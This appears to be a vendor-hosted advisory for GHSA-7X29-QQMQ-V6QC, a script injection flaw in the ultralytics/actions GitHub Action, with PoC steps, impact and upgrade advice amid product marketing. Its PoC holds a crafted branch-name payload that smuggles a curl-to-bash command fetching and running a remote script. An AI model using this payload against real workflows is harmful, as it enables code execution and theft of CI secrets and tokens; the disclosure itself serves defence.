GHSA-7X29-QQMQ-V6QC

GHSA-7X29-QQMQ-V6QC is a high-severity code injection vulnerability in ultralytics/actions (actions), affecting versions <= 0.0.2. It is fixed in 0.0.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

GitHub Actions Script Injection in ultralytics/actions

The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.

Details

The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:

        echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
        echo "github.ref: ${{ github.ref }}"
        echo "github.head_ref: ${{ github.head_ref }}"
        echo "github.base_ref: ${{ github.base_ref }}"

In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.

PoC

  1. Create a fork of any repository that uses ultralytics/actions within a workflow that runs on pull_request_target.

  2. In the fork create a branch as an injection payload, e.g.: Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

  3. Create a draft pull request.

  4. If the action is reachable, then achieve arbitrary code execution.

See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.

Impact

Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

GHSA-7X29-QQMQ-V6QC has a CVSS score of 9.3 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.3); upgrading removes the vulnerable code path.

Affected versions

ultralytics/actions (<= 0.0.2)

Security releases

ultralytics/actions → 0.0.3 (actions)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Sanitize the user-controlled variables using environment vars.

Frequently Asked Questions

  1. What is GHSA-7X29-QQMQ-V6QC? GHSA-7X29-QQMQ-V6QC is a high-severity code injection vulnerability in ultralytics/actions (actions), affecting versions <= 0.0.2. It is fixed in 0.0.3. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is GHSA-7X29-QQMQ-V6QC? GHSA-7X29-QQMQ-V6QC has a CVSS score of 9.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of ultralytics/actions are affected by GHSA-7X29-QQMQ-V6QC? ultralytics/actions (actions) versions <= 0.0.2 is affected.
  4. Is there a fix for GHSA-7X29-QQMQ-V6QC? Yes. GHSA-7X29-QQMQ-V6QC is fixed in 0.0.3. Upgrade to this version or later.
  5. Is GHSA-7X29-QQMQ-V6QC exploitable, and should I be worried? Whether GHSA-7X29-QQMQ-V6QC is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-7X29-QQMQ-V6QC is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-7X29-QQMQ-V6QC? Upgrade ultralytics/actions to 0.0.3 or later.

Stop the waste.
Protect your environment with Kodem.

Get a personalized demo
Get a personalized demo